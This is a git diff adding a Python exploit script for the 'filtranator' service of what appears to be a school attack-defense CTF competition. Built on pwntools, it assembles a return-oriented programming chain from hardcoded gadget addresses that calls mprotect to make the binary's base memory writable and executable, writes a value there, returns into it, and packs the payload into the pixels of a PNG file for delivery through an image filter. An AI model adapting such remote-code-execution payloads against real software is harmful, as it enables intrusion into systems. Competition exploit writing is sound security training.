adding validated services? patching forcad_local.py

ctfcup24-school-ad/sploits/filtranator/binary_rce/sploit.py

@@ -0,0 +1,128 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ pwn template ./filterer
+from pwn import *
+from PIL import Image
+import random
+# Many built-in settings can be controlled on the command-line and show up
+# in "args".  For example, to dump all data sent/received, and disable ASLR
+# for all created processes...
+# ./exploit.py DEBUG NOASLR
+
+
+def start(argv=[], *a, **kw):
+    """Start the exploit against the target."""
+    if args.GDB:
+        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+    else:
+        return process([exe.path] + argv, *a, **kw)
+
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = """
+tbreak main
+continue
+""".format(**locals())
+
+# ===========================================================
+#                    EXPLOIT GOES HERE
+# ===========================================================
+# Arch:     amd64-64-little
+# RELRO:      Partial RELRO
+# Stack:      Canary found
+# NX:         NX enabled
+# PIE:        No PIE (0x400000)
+# Stripped:   No
+# Debuginfo:  Yes
+
+# io = start()
+
+
+def set_number(pay, num, index, bytex):
+    kekx = b""
+    for i in range(bytex):
+        kekx += ((num >> (8 * i)) & 0xFF).to_bytes(1, "little")
+    print(kekx)
+    pay2 = pay[:index] + kekx + pay[index + bytex :]
+    return pay2
+
+
+payload = b"\x00" * 4194900
+ret_addr_index = 4194304 + 9 * 8
+
+pop_rdi_pop_rbp = 0x0000000000403015
+
+pop_rsi_pop_rbp = 0x0000000000425A2B
+
+pop_rax = 0x0000000000402324
+
+pop_r8 = 0x00000000005690BB
+
+syscall = 0x00000000560C40
+
+call_rsp = 0x0000000000527509
+
+pop_rdx_r12_rbp = 0x00000000004F4C44
+
+memcpy = 0x0000000052EE20
+
+call_rax = 0x000000000042AFBF
+
+mov_qword_r8_rsi = 0x000000000059FCA7
+
+pop_rcx = 0x0000000000530823
+
+# mprotect binary base to rwx (0x400000 addr)
+
+payload = set_number(payload, pop_rdx_r12_rbp, 4194304 + 8 * 9, 8)
+payload = set_number(payload, 0x1000, 4194304 + 8 * 10, 8)
+payload = set_number(payload, 0, 4194304 + 8 * 11, 8)
+payload = set_number(payload, 0, 4194304 + 8 * 12, 8)
+
+payload = set_number(payload, pop_rdi_pop_rbp, 4194304 + 8 * 13, 8)
+payload = set_number(payload, 0xA, 4194304 + 8 * 14, 8)
+payload = set_number(payload, 0x0, 4194304 + 8 * 15, 8)
+
+
+payload = set_number(payload, pop_rsi_pop_rbp, 4194304 + 8 * 16, 8)
+payload = set_number(payload, 0x400000, 4194304 + 8 * 17, 8)
+payload = set_number(payload, 0, 4194304 + 8 * 18, 8)
+
+payload = set_number(payload, pop_rcx, 4194304 + 8 * 19, 8)
+payload = set_number(payload, 0x7, 4194304 + 8 * 20, 8)
+
+
+payload = set_number(payload, syscall, 4194304 + 8 * 21, 8)
+
+
+# write shellcode in rwx via gadjet (0x400000 addr)
+
+payload = set_number(payload, pop_rsi_pop_rbp, 4194304 + 8 * 22, 8)
+payload = set_number(payload, 0x13371337, 4194304 + 8 * 23, 8)
+payload = set_number(payload, 0x0, 4194304 + 8 * 24, 8)
+payload = set_number(payload, pop_r8, 4194304 + 8 * 25, 8)
+payload = set_number(payload, 0x400000, 4194304 + 8 * 26, 8)
+payload = set_number(payload, mov_qword_r8_rsi, 4194304 + 8 * 27, 8)
+
+# return to sprayed shellcode
+payload = set_number(payload, 0x400000, 4194304 + 8 * 28, 8)
+
+print(payload[4194304 + 9 * 8])
+
+# print(payload)
+
+im = Image.new("RGB", (4194900 // 3, 1))
+
+# pix = im.load()
+
+for i in range((4194304 + 9 * 8) // 3, 4194900 // 3):
+    for j in range(1):
+        im.putpixel((i, j), (payload[i * 3], payload[i * 3 + 1], payload[i * 3 + 2]))
+        print(payload[i * 3])
+
+im.save("exploit.png", compress_level=0)
+
+# io.interactive()